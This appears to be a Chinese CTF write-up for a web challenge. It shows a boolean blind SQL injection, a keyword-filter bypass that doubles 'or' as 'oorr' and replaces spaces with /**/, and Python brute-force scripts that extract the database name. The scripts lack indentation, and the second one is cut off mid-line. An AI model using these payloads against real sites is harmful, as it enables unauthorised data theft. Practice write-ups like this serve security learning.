也可用bp进行爆破,这里用py脚本。
打看网页输入1,显示You are in,输入2,显示You are not in,是个布尔注入。
然后看看过滤了什么。
sql注入没有过滤:--+、or
sql注入过滤:union select、and、order by、空格
虽然or没有被当做sql注入处理,但是构造id=1'/**/or/**/1'='1--+时仍然是返回,You are not in。
所以应该是,or仍然被过滤,只是没有被当做sql注入,于是利用oorr来绕过。
下面给出爆破脚本:
1.暴库长
import requests
s='You are in'
url='http://ctf5.shiyanbar.com/web/earnest/index.php'
for i in range(30):
key={'id':"0'oorr(length(database())=%s)oorr'0"%i}
r=requests.post(url,data=key).text
print(i)
if s in r:
print(i)
break
结果是18.
2.爆库名
import requests
url='http://ctf5.shiyanbar.com/web/earnest/index.php'
p='qwertyuiopasdfghjklmnbvcxz1234567890_~[]{}/!@#$%^&*()'
s='You are in'
database=''
for i in range(19):
for j in p:
key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)}
r=requests.pos

368

被折叠的 条评论
为什么被折叠?



